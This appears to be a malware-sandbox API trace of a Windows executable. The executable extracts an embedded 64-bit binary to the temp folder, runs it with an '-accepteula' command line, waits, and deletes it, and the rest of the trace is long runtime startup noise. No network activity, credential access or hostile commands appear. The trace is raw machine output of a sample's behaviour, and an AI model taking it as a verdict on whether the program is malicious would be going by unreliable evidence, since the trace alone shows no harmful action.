¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0129.480] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0129.480] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0129.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿªg> äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0129.480] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x80) returned 0x549de0 [0129.480] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0129.480] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0129.480] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x549de0) returned 0x80 [0129.480] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.480] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0129.481] GetCurrentProcess () returned 0xffffffff [0129.481] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0129.481] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0129.481] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0129.481] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0129.481] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0129.481] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0129.481] LockResource (hResData=0x43c648) returned 0x43c648 [0129.481] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x549e68 [0129.481] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0129.483] GetFileType (hFile=0x94) returned 0x1 [0129.483] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0129.488] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x549e88 [0129.489] WriteFile (in: hFile=0x94, lpBuffer=0x549e88*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x549e88*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0129.489] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x549e88 | out: hHeap=0x530000) returned 1 [0129.489] CloseHandle (hObject=0x94) returned 1 [0129.489] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" [0129.489] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xc1c, dwThreadId=0x7e0)) returned 1 [0129.505] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0133.752] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0133.755] CloseHandle (hObject=0x98) returned 1 [0133.755] CloseHandle (hObject=0x94) returned 1 [0133.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5493b0 | out: hHeap=0x530000) returned 1 [0133.756] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0133.757] ExitProcess (uExitCode=0x0) [0133.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5460b0 | out: hHeap=0x530000) returned 1 Process: id = "235" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x73fa3000" os_pid = "0xc1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "234" os_parent_pid = "0x284" cmd_line = "bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 841 os_tid = 0x7e0 [0129.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xf0b796e0, dwHighDateTime=0x1d5d06a)) [0129.662] GetCurrentThreadId () returned 0x7e0 [0129.663] GetCurrentProcessId () returned 0xc1c [0129.663] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=27161476769) returned 1 [0129.663] GetProcessHeap () returned 0x190000 [0129.664] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0129.664] GetProcAddress (hModule=0x76f20000, lpProcName=0x1400212e0) returned 0x76f37190 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0129.665] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0129.666] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0129.667] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0129.667] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x478) returned 0x1af040 [0129.668] GetCurrentThreadId () returned 0x7e0 [0129.668] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x28) returned 0x1a5ec0 [0129.668] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xb00) returned 0x1af4c0 [0129.668] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x1af040)) [0129.668] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0129.668] GetFileType (hFile=0x3) returned 0x2 [0129.668] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0129.668] GetFileType (hFile=0x4) returned 0x3 [0129.668] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0129.669] GetFileType (hFile=0xb) returned 0x2 [0129.669] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"Genko_2.jtp\" -nobanner" [0129.669] GetEnvironmentStringsW () returned 0x1affd0* [0129.669] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0xb30) returned 0x1b0b10 [0129.669] FreeEnvironmentStringsW (penv=0x1affd0) returned 1 [0129.669] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0129.669] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x86) returned 0x1b1650 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x138) returned 0x1b16e0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3e) returned 0x1a6500 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x6c) returned 0x1b1820 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b18a0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x78) returned 0x1b1910 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x62) returned 0x1b1990 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1addf0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x48) returned 0x1a6550 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x22) returned 0x1a5ef0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x28) returned 0x1a5f20 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1a) returned 0x1a5f50 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4a) returned 0x1b1a00 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x72) returned 0x1b1a60 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1ade30 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1ade70 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1c) returned 0x1a5f80 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xd2) returned 0x1b1ae0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x7c) returned 0x1b1bc0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3a) returned 0x1a65a0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x90) returned 0x1b1c50 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a5fb0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1adeb0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x36) returned 0x1adef0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a65f0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1cf0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6640 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x18) returned 0x1b1d50 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x82) returned 0x1b1d70 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2e) returned 0x1adf30 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1e) returned 0x1a5fe0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2c) returned 0x1adf70 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1e00 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x52) returned 0x1b1e60 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x2a) returned 0x1adfb0 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x3c) returned 0x1a6690 [0129.670] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x54) returned 0x1b1ec0 [0129.671] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x24) returned 0x1a6010 [0129.671] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x30) returned 0x1adff0 [0129.671] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x8c) returned 0x1b1f20 [0129.671] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0b10 | out: hHeap=0x190000) returned 1 [0129.671] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1000) returned 0x1affd0 [0129.671] GetLastError () returned 0x0 [0129.671] SetLastError (dwErrCode=0x0) [0129.671] GetLastError () returned 0x0 [0129.671] SetLastError (dwErrCode=0x0) [0129.671] GetLastError () returned 0x0 [0129.672] SetLastError (dwErrCode=0x0) [0129.672] GetACP () returned 0x4e4 [0129.672] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x228) returned 0x1b0fe0 [0129.672] GetLastError () returned 0x0 [0129.672] SetLastError (dwErrCode=0x0) [0129.672] IsValidCodePage (CodePage=0x4e4) returned 1 [0129.672] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0129.672] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0129.672] GetLastError () returned 0x0 [0129.672] SetLastError (dwErrCode=0x0) [0129.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬭꉄ") returned 256 [0129.672] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꬭꉄ", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0129.672] GetLastError () returned 0x0 [0129.672] SetLastError (dwErrCode=0x0) [0129.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0129.672] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0129.673] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 